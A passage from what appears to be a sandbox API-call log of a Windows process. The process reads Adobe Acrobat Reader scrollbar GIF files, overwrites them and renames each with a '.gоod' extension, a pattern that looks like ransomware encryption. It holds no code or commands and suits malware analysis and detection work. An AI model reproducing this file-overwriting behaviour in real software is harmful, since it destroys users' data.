DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif", lpFilePart=0x0) returned 0x80 [0181.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0181.652] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0181.653] GetFileType (hFile=0x824) returned 0x1 [0181.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0181.966] GetFileType (hFile=0x824) returned 0x1 [0181.967] WriteFile (in: hFile=0x824, lpBuffer=0x35d7290*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x35d7290*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x40, lpOverlapped=0x0) returned 1 [0182.200] CloseHandle (hObject=0x824) returned 1 [0182.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif", lpFilePart=0x0) returned 0x80 [0182.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif.gоod", lpFilePart=0x0) returned 0x85 [0182.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0182.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x68cef6cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0182.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0182.815] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif.gоod")) returned 1 [0182.816] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif", lpFilePart=0x0) returned 0x78 [0182.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0182.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down.gif"), fInfoLevelId=0x0, lpFileInformation=0x363d9b8 | out: lpFileInformation=0x363d9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42)) returned 1 [0182.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0182.817] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif", lpFilePart=0x0) returned 0x78 [0182.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0182.817] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0182.817] GetFileType (hFile=0x6e0) returned 0x1 [0182.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0182.818] GetFileType (hFile=0x6e0) returned 0x1 [0182.818] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x42 [0182.818] ReadFile (in: hFile=0x6e0, lpBuffer=0x363dd78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x363dd78*, lpNumberOfBytesRead=0x1fdeb9b8*=0x42, lpOverlapped=0x0) returned 1 [0182.819] CloseHandle (hObject=0x6e0) returned 1 [0182.852] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif", lpFilePart=0x0) returned 0x78 [0182.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0182.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0182.853] GetFileType (hFile=0x6e0) returned 0x1 [0182.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0182.853] GetFileType (hFile=0x6e0) returned 0x1 [0182.853] WriteFile (in: hFile=0x6e0, lpBuffer=0x36b5650*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x36b5650*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x50, lpOverlapped=0x0) returned 1 [0182.854] CloseHandle (hObject=0x6e0) returned 1 [0182.854] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif", lpFilePart=0x0) returned 0x78 [0182.854] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif.gоod", lpFilePart=0x0) returned 0x7d [0182.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0182.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x69331940, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1 [0182.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0182.854] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down.gif.gоod")) returned 1 [0182.855] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif", lpFilePart=0x0) returned 0x80 [0182.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0182.855] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x36b6a18 | out: lpFileInformation=0x36b6a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38)) returned 1 [0182.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0182.855] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif", lpFilePart=0x0) returned 0x80 [0182.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0182.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0182.856] GetFileType (hFile=0x6e0) returned 0x1 [0182.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0182.856] GetFileType (hFile=0x6e0) returned 0x1 [0182.856] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x38 [0182.856] ReadFile (in: hFile=0x6e0, lpBuffer=0x36b6e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x36b6e08*, lpNumberOfBytesRead=0x1fdeb9b8*=0x38, lpOverlapped=0x0) returned 1 [0183.156] CloseHandle (hObject=0x6e0) returned 1 [0185.019] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif", lpFilePart=0x0) returned 0x80 [0185.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0185.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0185.020] GetFileType (hFile=0x820) returned 0x1 [0185.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0185.020] GetFileType (hFile=0x820) returned 0x1 [0185.020] WriteFile (in: hFile=0x820, lpBuffer=0x3789648*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3789648*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x40, lpOverlapped=0x0) returned 1 [0185.021] CloseHandle (hObject=0x820) returned 1 [0185.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif", lpFilePart=0x0) returned 0x80 [0185.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif.gоod", lpFilePart=0x0) returned 0x85 [0185.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0185.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6a7edf04, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0185.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0185.021] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif.gоod")) returned 1 [0185.022] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif", lpFilePart=0x0) returned 0x78 [0185.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0185.023] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left.gif"), fInfoLevelId=0x0, lpFileInformation=0x378aa40 | out: lpFileInformation=0x378aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f)) returned 1 [0185.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0185.023] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif", lpFilePart=0x0) returned 0x78 [0185.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0185.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0185.023] GetFileType (hFile=0x820) returned 0x1 [0185.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0185.023] GetFileType (hFile=0x820) returned 0x1 [0185.023] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x3f [0185.023] ReadFile (in: hFile=0x820, lpBuffer=0x378adf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x378adf8*, lpNumberOfBytesRead=0x1fdeb9b8*=0x3f, lpOverlapped=0x0) returned 1 [0185.173] CloseHandle (hObject=0x820) returned 1 [0185.232] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif", lpFilePart=0x0) returned 0x78 [0185.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0185.233] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0185.234] GetFileType (hFile=0x820) returned 0x1 [0185.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0185.234] GetFileType (hFile=0x820) returned 0x1 [0185.234] WriteFile (in: hFile=0x820, lpBuffer=0x3780348*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3780348*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x40, lpOverlapped=0x0) returned 1 [0185.235] CloseHandle (hObject=0x820) returned 1 [0185.235] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif", lpFilePart=0x0) returned 0x78 [0185.235] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif.gоod", lpFilePart=0x0) returned 0x7d [0185.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0185.235] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6aa04081, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0185.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0185.235] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left.gif.gоod")) returned 1 [0185.236] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif", lpFilePart=0x0) returned 0x81 [0185.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0185.236] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x3781710 | out: lpFileInformation=0x3781710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38)) returned 1 [0185.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0185.236] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif", lpFilePart=0x0) returned 0x81 [0185.236] SetThreadErrorMode (dwNewMode=0x1, 